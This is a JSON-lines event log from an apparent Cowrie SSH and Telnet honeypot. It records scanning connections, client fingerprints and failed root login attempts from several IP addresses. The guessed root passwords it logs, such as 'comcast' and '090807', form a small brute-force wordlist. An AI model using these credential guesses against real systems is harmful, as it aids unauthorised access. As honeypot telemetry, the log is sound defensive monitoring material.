{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:5e:d5:b2:e6:a4:cd:69:db:d7:71:8c:ac:b8:0e:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7+jdGkKI24VohZOal0YS5ReoAW0DrfX27/1lArnv3Fhy9YR5juzQyfMh8Wn6mvtDj0vI4xNB3Nbn2W2i08PQy+uyBW1xHuP+5CHFgG00hTlu8ofri5JnK0cbyPH0PqAiua96tXUVKL7K2obXoGiqWZ5b+N6iVyFrJ1//SI06Jr252snOyqRyd8MMb/PKZxuQ6Danul4+ZUCneoWWy2dHCmn4lVxn4lK5hYlAKbrrZ0HYAnDyNR5oP2gnLtLtRCAeYui9LXvlhTifHuDMo2MpPPH8sQ1ss14rab1JhL7TXVGZRgc9C7ko8yBR0MEWKnF84i9H/Uo+gE+VRcgJBQyzd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:41.687905Z","src_ip":"139.19.117.129","session":"27170954d2d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:5e:d5:b2:e6:a4:cd:69:db:d7:71:8c:ac:b8:0e:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7+jdGkKI24VohZOal0YS5ReoAW0DrfX27/1lArnv3Fhy9YR5juzQyfMh8Wn6mvtDj0vI4xNB3Nbn2W2i08PQy+uyBW1xHuP+5CHFgG00hTlu8ofri5JnK0cbyPH0PqAiua96tXUVKL7K2obXoGiqWZ5b+N6iVyFrJ1//SI06Jr252snOyqRyd8MMb/PKZxuQ6Danul4+ZUCneoWWy2dHCmn4lVxn4lK5hYlAKbrrZ0HYAnDyNR5oP2gnLtLtRCAeYui9LXvlhTifHuDMo2MpPPH8sQ1ss14rab1JhL7TXVGZRgc9C7ko8yBR0MEWKnF84i9H/Uo+gE+VRcgJBQyzd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:5e:d5:b2:e6:a4:cd:69:db:d7:71:8c:ac:b8:0e:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:41.778805Z","src_ip":"139.19.117.129","session":"27170954d2d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:5e:d5:b2:e6:a4:cd:69:db:d7:71:8c:ac:b8:0e:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7+jdGkKI24VohZOal0YS5ReoAW0DrfX27/1lArnv3Fhy9YR5juzQyfMh8Wn6mvtDj0vI4xNB3Nbn2W2i08PQy+uyBW1xHuP+5CHFgG00hTlu8ofri5JnK0cbyPH0PqAiua96tXUVKL7K2obXoGiqWZ5b+N6iVyFrJ1//SI06Jr252snOyqRyd8MMb/PKZxuQ6Danul4+ZUCneoWWy2dHCmn4lVxn4lK5hYlAKbrrZ0HYAnDyNR5oP2gnLtLtRCAeYui9LXvlhTifHuDMo2MpPPH8sQ1ss14rab1JhL7TXVGZRgc9C7ko8yBR0MEWKnF84i9H/Uo+gE+VRcgJBQyzd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:41.782448Z","src_ip":"139.19.117.129","session":"27170954d2d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":37872,"dst_ip":"10.17.0.5","dst_port":22,"session":"57de956a0ca7","protocol":"ssh","message":"New connection: 124.109.2.211:37872 (10.17.0.5:22) [session: 57de956a0ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:50.174296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:50.179029Z","src_ip":"124.109.2.211","session":"57de956a0ca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:50.439203Z","src_ip":"124.109.2.211","session":"57de956a0ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:51.409653Z","src_ip":"139.19.117.129","session":"27170954d2d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatever","message":"login attempt [root/whatever] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:51.471667Z","src_ip":"124.109.2.211","session":"57de956a0ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:52.738742Z","src_ip":"124.109.2.211","session":"57de956a0ca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48102,"dst_ip":"10.17.0.5","dst_port":23,"session":"403e7b6b56ae","protocol":"telnet","message":"New connection: 152.42.224.71:48102 (10.17.0.5:23) [session: 403e7b6b56ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:53.936940Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48092,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7cfda5c9cf9","protocol":"telnet","message":"New connection: 152.42.224.71:48092 (10.17.0.5:23) [session: c7cfda5c9cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:54.500460Z"}
{"eventid":"cowrie.session.closed","duration":44.39177632331848,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:02:55.354377Z","src_ip":"152.42.224.71","session":"311c95d953e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.63064694404602,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:05.872615Z","src_ip":"152.42.224.71","session":"b2ca3a5cd808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":59065,"dst_ip":"10.17.0.5","dst_port":22,"session":"4356c87a0350","protocol":"ssh","message":"New connection: 223.197.186.7:59065 (10.17.0.5:22) [session: 4356c87a0350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:07.027065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:07.032273Z","src_ip":"223.197.186.7","session":"4356c87a0350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36744,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac18a4a9d02","protocol":"telnet","message":"New connection: 152.42.224.71:36744 (10.17.0.5:23) [session: cac18a4a9d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:07.139755Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:07.279309Z","src_ip":"223.197.186.7","session":"4356c87a0350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc!@","message":"login attempt [root/123abc!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:08.235631Z","src_ip":"223.197.186.7","session":"4356c87a0350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":97.47464799880981,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:09.151996Z","src_ip":"152.42.224.71","session":"58b6c59b1b1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:09.453633Z","src_ip":"223.197.186.7","session":"4356c87a0350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36746,"dst_ip":"10.17.0.5","dst_port":23,"session":"05bdb7c6230e","protocol":"telnet","message":"New connection: 152.42.224.71:36746 (10.17.0.5:23) [session: 05bdb7c6230e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:13.436717Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46816,"dst_ip":"10.17.0.5","dst_port":23,"session":"db6ed2f8796b","protocol":"telnet","message":"New connection: 152.42.224.71:46816 (10.17.0.5:23) [session: db6ed2f8796b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:17.037298Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35066,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fb5d113d0b0","protocol":"ssh","message":"New connection: 103.195.236.96:35066 (159.203.135.109:22) [session: 7fb5d113d0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:19.664895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:19.668871Z","src_ip":"103.195.236.96","session":"7fb5d113d0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:19.914915Z","src_ip":"103.195.236.96","session":"7fb5d113d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":59700,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e03225e5ab2","protocol":"ssh","message":"New connection: 194.113.233.25:59700 (159.203.135.109:22) [session: 3e03225e5ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:20.207779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:20.212331Z","src_ip":"194.113.233.25","session":"3e03225e5ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:20.309752Z","src_ip":"194.113.233.25","session":"3e03225e5ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anderson","message":"login attempt [root/anderson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:20.590158Z","src_ip":"194.113.233.25","session":"3e03225e5ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"090807","message":"login attempt [root/090807] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:20.647211Z","src_ip":"103.195.236.96","session":"7fb5d113d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:21.687326Z","src_ip":"194.113.233.25","session":"3e03225e5ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:21.893135Z","src_ip":"103.195.236.96","session":"7fb5d113d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.516441822052,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:23.246325Z","src_ip":"152.42.224.71","session":"b7cfa0db4039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.596434116363525,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:26.114783Z","src_ip":"152.42.224.71","session":"780ead75b154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.75744390487671,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:29.897100Z","src_ip":"152.42.224.71","session":"cac18a4a9d02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.4453604221344,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:33.382171Z","src_ip":"152.42.224.71","session":"403e7b6b56ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.262415409088135,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:34.762708Z","src_ip":"152.42.224.71","session":"c7cfda5c9cf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":47192,"dst_ip":"10.17.0.5","dst_port":22,"session":"03e925815b1d","protocol":"ssh","message":"New connection: 43.133.148.170:47192 (10.17.0.5:22) [session: 03e925815b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:46.709085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:46.714200Z","src_ip":"43.133.148.170","session":"03e925815b1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:46.964977Z","src_ip":"43.133.148.170","session":"03e925815b1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"comcast","message":"login attempt [root/comcast] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:48.001537Z","src_ip":"43.133.148.170","session":"03e925815b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:49.256597Z","src_ip":"43.133.148.170","session":"03e925815b1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36054,"dst_ip":"10.17.0.5","dst_port":23,"session":"9db7f3955c71","protocol":"telnet","message":"New connection: 152.42.224.71:36054 (10.17.0.5:23) [session: 9db7f3955c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:49.516141Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36050,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0237ce38132","protocol":"telnet","message":"New connection: 152.42.224.71:36050 (10.17.0.5:23) [session: e0237ce38132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:49.522480Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":26343,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c3bb648a27","protocol":"ssh","message":"New connection: 223.197.186.7:26343 (10.17.0.5:22) [session: 57c3bb648a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:50.471968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:50.476805Z","src_ip":"223.197.186.7","session":"57c3bb648a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:50.703679Z","src_ip":"223.197.186.7","session":"57c3bb648a27","protocol":"ssh"}
